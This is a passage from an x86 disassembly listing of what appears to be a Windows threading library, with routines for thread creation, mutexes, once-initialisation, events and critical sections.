		call	sub_13AC44A
		add	esp, 8
		test	eax, eax
		jz	short loc_13DA2EE
		call	_errno	; _errno
		mov	ebx, [eax]


loc_13DA2EE:				; CODE XREF: sub_13DA1F0+E3j
					; sub_13DA1F0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA2F4:				; CODE XREF: sub_13DA1F0+9j
					; sub_13DA1F0+13j
		mov	eax, 16h


loc_13DA2F9:				; CODE XREF: sub_13DA1F0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_13DA1F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA350	proc near		; CODE XREF: sub_13ABA04j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13DA1F0
		add	esp, 8
		retn
sub_13DA350	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA370	proc near		; CODE XREF: sub_13AB63Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_13ABF13
		mov	esi, eax
		test	esi, esi
		jz	loc_13DA446
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	malloc	; malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_13DA446
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_13DA3EE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_13DA3EE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_13DA3F0
		call	sub_13AB6E4
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_13DA3F0
; ---------------------------------------------------------------------------


loc_13DA3EE:				; CODE XREF: sub_13DA370+4Dj
					; sub_13DA370+54j
		xor	edi, edi


loc_13DA3F0:				; CODE XREF: sub_13DA370+6Ej
					; sub_13DA370+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	401B95h
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	_beginthreadex	; _beginthreadex
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_13DA439
		test	ebp, ebp
		jz	short loc_13DA432
		cmp	dword ptr [ebp+0], 0
		jz	short loc_13DA432
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_13AC4B3
		add	esp, 0Ch


loc_13DA432:				; CODE XREF: sub_13DA370+AAj
					; sub_13DA370+B0j
		push	edi
		call	ResumeThread	; ResumeThread


loc_13DA439:				; CODE XREF: sub_13DA370+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_13DA479


loc_13DA446:				; CODE XREF: sub_13DA370+14j
					; sub_13DA370+30j
		push	esi
		call	sub_13ABBAD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_13DA46C
		push	ebx
		call	free	; free
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA46C:				; CODE XREF: sub_13DA370+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA479:				; CODE XREF: sub_13DA370+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_13DA370	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA4E0	proc near		; CODE XREF: sub_13AB743j

arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_13DA517 ; default
		jmp	off_43011C[ecx*4] ; switch jump
; ---------------------------------------------------------------------------
		call	sub_13ABB08
		retn	0Ch
; ---------------------------------------------------------------------------
		call	sub_13ABBB2
		retn	0Ch
; ---------------------------------------------------------------------------
		call	sub_13ABBC1
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0E8h, 0AFh, 16h
		dd 6E8FFFDh
		db 15h,	0FDh, 0FFh
; ---------------------------------------------------------------------------

locret_13DA517:				; CODE XREF: sub_13DA4E0+Cj
		retn	0Ch		; default
sub_13DA4E0	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		dd offset dword_42FC30+4DDh
		dd offset dword_42FC30+4C5h
		dd offset dword_42FC30+4CDh
		dd offset dword_42FC30+4D5h
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA550	proc near		; CODE XREF: sub_13ABBB7j

arg_0		= dword	ptr  4

		mov	eax, ds:dword_102C590
		push	esi
		push	edi
		push	eax
		call	sub_13AB590
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_13DA574
		push	edi
		call	_endthreadex	; _endthreadex
		add	esp, 4


loc_13DA574:				; CODE XREF: sub_13DA550+18j
		push	1
		mov	[esi+14h], edi
		call	sub_13AC1D4
		add	esp, 4
		pop	edi
		pop	esi
		retn
sub_13DA550	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA5A0	proc near		; CODE XREF: sub_13ABB58j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_102CAA0
		xor	esi, esi
		call	EnterCriticalSection
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_13DA5CB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_13DA5CB
		push	eax
		call	GetThreadPriority	; GetThreadPriority
		cmp	eax, 7FFFFFFFh
		jnz	short loc_13DA5D0


loc_13DA5CB:				; CODE XREF: sub_13DA5A0+14j
					; sub_13DA5A0+1Bj
		mov	esi, 3


loc_13DA5D0:				; CODE XREF: sub_13DA5A0+29j
		push	offset dword_102CAA0
		call	LeaveCriticalSection
		test	esi, esi
		jnz	short loc_13DA5EC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_13DA5EE


loc_13DA5EC:				; CODE XREF: sub_13DA5A0+3Dj
		mov	eax, esi


loc_13DA5EE:				; CODE XREF: sub_13DA5A0+4Aj
		pop	esi
		retn
sub_13DA5A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA610	proc near		; CODE XREF: sub_13ABA4Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		test	esi, esi
		jz	short loc_13DA661
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		jz	short loc_13DA661
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_13DA641
		lea	eax, [esi+4]
		push	eax
		call	InterlockedIncrement	; InterlockedIncrement
		test	eax, eax
		jnz	short loc_13DA647
		call	edi
		mov	dword ptr [esi], 1


loc_13DA641:				; CODE XREF: sub_13DA610+19j
					; sub_13DA610+3Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA647:				; CODE XREF: sub_13DA610+27j
		cmp	dword ptr [esi], 0
		jnz	short loc_13DA641
		mov	edi, Sleep


loc_13DA652:				; CODE XREF: sub_13DA610+49j
		push	0
		call	edi ; Sleep
		cmp	dword ptr [esi], 0
		jz	short loc_13DA652
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA661:				; CODE XREF: sub_13DA610+9j
					; sub_13DA610+11j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_13DA610	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA690	proc near		; CODE XREF: sub_13AB6E4j
		mov	eax, ds:dword_102C590
		push	esi
		push	edi
		push	eax
		call	sub_13AB590
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_13DA71C
		call	sub_13ABF13
		mov	esi, eax
		test	esi, esi
		jz	short loc_13DA70C
		mov	edi, [esi+7Ch]
		mov	eax, 1
		or	edi, eax
		push	ebx
		mov	[esi+7Ch], edi
		mov	[esi+20h], eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	ebx, GetCurrentProcess
		push	2
		lea	edi, [esi+4]
		push	0
		push	0
		push	edi
		mov	[esi], eax
		call	ebx ; GetCurrentProcess
		push	eax
		call	GetCurrentThread	; GetCurrentThread
		push	eax
		call	ebx ; GetCurrentProcess
		push	eax
		call	DuplicateHandle	; DuplicateHandle
		test	eax, eax
		pop	ebx
		jnz	short loc_13DA700
		push	esi
		call	sub_13ABFBD
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DA700:				; CODE XREF: sub_13DA690+60j
		mov	ecx, [edi]
		push	ecx
		call	GetThreadPriority	; GetThreadPriority
		mov	[esi+28h], eax


loc_13DA70C:				; CODE XREF: sub_13DA690+1Fj
		mov	edx, ds:dword_102C590
		push	esi
		push	edx
		call	sub_13AC4DB
		add	esp, 8


loc_13DA71C:				; CODE XREF: sub_13DA690+14j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_13DA690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA760	proc near		; CODE XREF: sub_13ABE50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_13DA77E
		test	eax, eax
		jz	short loc_13DA778
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_13DA77E


loc_13DA778:				; CODE XREF: sub_13DA760+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_13DA77E:				; CODE XREF: sub_13DA760+Aj
					; sub_13DA760+16j
		xor	eax, eax
		retn
sub_13DA760	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA7A0	proc near		; CODE XREF: sub_13AC3F0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_13DA7AE
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_13DA7AE:				; CODE XREF: sub_13DA7A0+6j
		mov	ds:dword_102C5A0, eax
		xor	eax, eax
		retn
sub_13DA7A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA7D0	proc near		; CODE XREF: sub_13AB95Aj
		mov	eax, ds:dword_102C5A0
		retn
sub_13DA7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA7F0	proc near		; CODE XREF: sub_13ABF13j
		push	esi
		call	sub_13AB707
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13DA812
		push	84h
		push	1
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_13DA859


loc_13DA812:				; CODE XREF: sub_13DA7F0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	CreateEventA	; CreateEventA
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_13DA859
		push	esi
		call	sub_13ABFBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DA859:				; CODE XREF: sub_13DA7F0+20j
					; sub_13DA7F0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_13DA7F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA880	proc near		; CODE XREF: sub_13AB707j
		push	esi
		push	offset dword_102CAA0
		call	EnterCriticalSection
		mov	esi, ds:dword_44575C
		cmp	esi, 1
		jz	short loc_13DA8B5
		mov	eax, [esi+8]
		push	offset dword_102CAA0
		mov	ds:dword_44575C, eax
		mov	dword ptr [esi+8], 0
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DA8B5:				; CODE XREF: sub_13DA880+15j
		push	offset dword_102CAA0
		xor	esi, esi
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
sub_13DA880	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA8F0	proc near		; CODE XREF: sub_13ABFBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_102CAA0
		call	EnterCriticalSection
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, ds:dword_44575C
		push	offset dword_102CAA0
		mov	[edx+8], eax
		mov	ds:dword_44575C, edx
		call	LeaveCriticalSection
		pop	edi
		retn
sub_13DA8F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA940	proc near		; CODE XREF: sub_13ABA40j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_13DA960
		add	esp, 8
		retn
sub_13DA940	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA960	proc near		; CODE XREF: sub_13DA940+7p
					; sub_13DAA80+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_13AB6E4
		mov	esi, eax
		test	esi, esi
		jz	short loc_13DA996
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_13DA99E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+10h+var_4], eax
		jz	short loc_13DA99E
		mov	edi, 2
		jmp	short loc_13DA99E
; ---------------------------------------------------------------------------


loc_13DA996:				; CODE XREF: sub_13DA960+1Bj
		mov	[esp+10h+var_4], 0


loc_13DA99E:				; CODE XREF: sub_13DA960+22j
					; sub_13DA960+2Dj ...
		mov	ecx, [esp+10h+arg_4]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	WaitForMultipleObjects	; WaitForMultipleObjects
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_13DAA29
		dec	ecx
		jz	short loc_13DA9D4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13DA9D4:				; CODE XREF: sub_13DA960+59j
		mov	eax, [esp+10h+var_4]
		push	eax
		call	ResetEvent	; ResetEvent
		test	esi, esi
		jz	short loc_13DAA1E
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_13AC625
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_13DAA15
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_13AB4C3
		push	2
		call	sub_13AC1D4
		add	esp, 8


loc_13DAA15:				; CODE XREF: sub_13DA960+99j
		push	edi
		call	sub_13AB4C3
		add	esp, 4


loc_13DAA1E:				; CODE XREF: sub_13DA960+81j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13DAA29:				; CODE XREF: sub_13DA960+56j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
sub_13DA960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAA80	proc near		; CODE XREF: sub_13AC170j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13DA960
		add	esp, 8
		retn
sub_13DAA80	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAAB0	proc near		; CODE XREF: sub_13AC003j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_102CB00
		xor	esi, esi
		call	EnterCriticalSection
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13DAAE4
		push	esi
		push	ecx
		call	sub_13AC599
		add	esp, 8
		mov	esi, eax
		push	offset dword_102CB00
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAAE4:				; CODE XREF: sub_13DAAB0+17j
		test	eax, eax
		jnz	short loc_13DAAED
		mov	esi, 16h


loc_13DAAED:				; CODE XREF: sub_13DAAB0+36j
		push	offset dword_102CB00
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
sub_13DAAB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAB20	proc near		; CODE XREF: sub_13AC599j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_13DAB34
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DAB34:				; CODE XREF: sub_13DAB20+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_13DAB4F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_13DAB4F
		cmp	dword ptr [eax], 1
		jnz	short loc_13DAB4F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DAB4F:				; CODE XREF: sub_13DAB20+1Aj
					; sub_13DAB20+20j ...
		push	esi
		push	2Ch
		push	1
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_13DAB74
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DAB74:				; CODE XREF: sub_13DAB20+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_13DAB90
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_13DAB90
		mov	edi, [edi+4]
		jmp	short loc_13DAB92
; ---------------------------------------------------------------------------


loc_13DAB90:				; CODE XREF: sub_13DAB20+63j
					; sub_13DAB20+69j
		xor	edi, edi


loc_13DAB92:				; CODE XREF: sub_13DAB20+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_13AC076
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13DABCD
		push	esi
		mov	ebp, 0Bh
		call	free	; free
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DABCD:				; CODE XREF: sub_13DAB20+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	InitializeCriticalSection	; InitializeCriticalSection
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_13DAB20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAC30	proc near		; CODE XREF: sub_13AC62Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_13DAD10
		mov	eax, [edi]
		test	eax, eax
		jz	loc_13DAD10
		cmp	eax, 0FFFFFFFFh
		jz	loc_13DACD5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_13ABB7B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_13DAD0B
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_13DACC7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_13AB4C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_13DACC0
		add	edx, 10h
		push	edx
		call	sub_13ABA86
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	DeleteCriticalSection
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	free	; free
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DACC0:				; CODE XREF: sub_13DAC30+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DACC7:				; CODE XREF: sub_13DAC30+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DACD5:				; CODE XREF: sub_13DAC30+1Dj
		push	offset dword_102CB00
		call	EnterCriticalSection
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_13DACFB
		push	offset dword_102CB00
		mov	dword ptr [edi], 0
		call	LeaveCriticalSection
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DACFB:				; CODE XREF: sub_13DAC30+B3j
		push	offset dword_102CB00
		mov	esi, 10h
		call	LeaveCriticalSection


loc_13DAD0B:				; CODE XREF: sub_13DAC30+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAD10:				; CODE XREF: sub_13DAC30+Aj
					; sub_13DAC30+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_13DAC30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAD60	proc near		; CODE XREF: sub_13ABE0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	calloc	; calloc
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_13DAD83
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_13DAD83:				; CODE XREF: sub_13DAD60+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_13DAD60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DADB0	proc near		; CODE XREF: sub_13AB4AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_13DADD1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_13DADD1
		push	eax
		mov	[ecx], esi
		call	free	; free
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DADD1:				; CODE XREF: sub_13DADB0+9j
					; sub_13DADB0+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_13DADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DADF0	proc near		; CODE XREF: sub_13ABFA9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13DAE0D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_13DAE0D
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_13DAE0D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13DAE0D:				; CODE XREF: sub_13DADF0+6j
					; sub_13DADF0+Cj ...
		mov	eax, 16h
		retn
sub_13DADF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAE30	proc near		; CODE XREF: sub_13ABCF7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13DAE5A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_13DAE5A
		mov	eax, [esp+arg_4]
		cmp	eax, 1
		jz	short loc_13DAE4E
		test	eax, eax
		jnz	short loc_13DAE5A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_13DAE4E:				; CODE XREF: sub_13DAE30+15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_13DAE5A:				; CODE XREF: sub_13DAE30+6j
					; sub_13DAE30+Cj ...
		mov	eax, 16h
		retn
sub_13DAE30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAE70	proc near		; CODE XREF: sub_13AB59Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_13DAE91
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_13DAE91
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_13DAE91
		cmp	edx, 2
		jg	short loc_13DAE91
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_13DAE91:				; CODE XREF: sub_13DAE70+8j
					; sub_13DAE70+Ej ...
		mov	eax, 16h
		retn
sub_13DAE70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAEB0	proc near		; CODE XREF: sub_13ABCC0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_13DAECE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_13DAECE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_13DAECE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_13DAECE:				; CODE XREF: sub_13DAEB0+8j
					; sub_13DAEB0+Ej ...
		mov	eax, 16h
		retn
sub_13DAEB0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAEF0	proc near		; CODE XREF: sub_13AC625j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_13DAFA7
		mov	eax, [esi]
		test	eax, eax
		jz	loc_13DAFA7
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13DAF21
		push	esi
		call	sub_13AC003
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_13DAF21
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAF21:				; CODE XREF: sub_13DAEF0+1Dj
					; sub_13DAEF0+2Cj
		mov	esi, [esi]
		push	esi
		call	InterlockedIncrement	; InterlockedIncrement
		test	eax, eax
		jnz	short loc_13DAF4A


loc_13DAF2E:				; CODE XREF: sub_13DAEF0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_13DAF42
		call	sub_13AB6E4


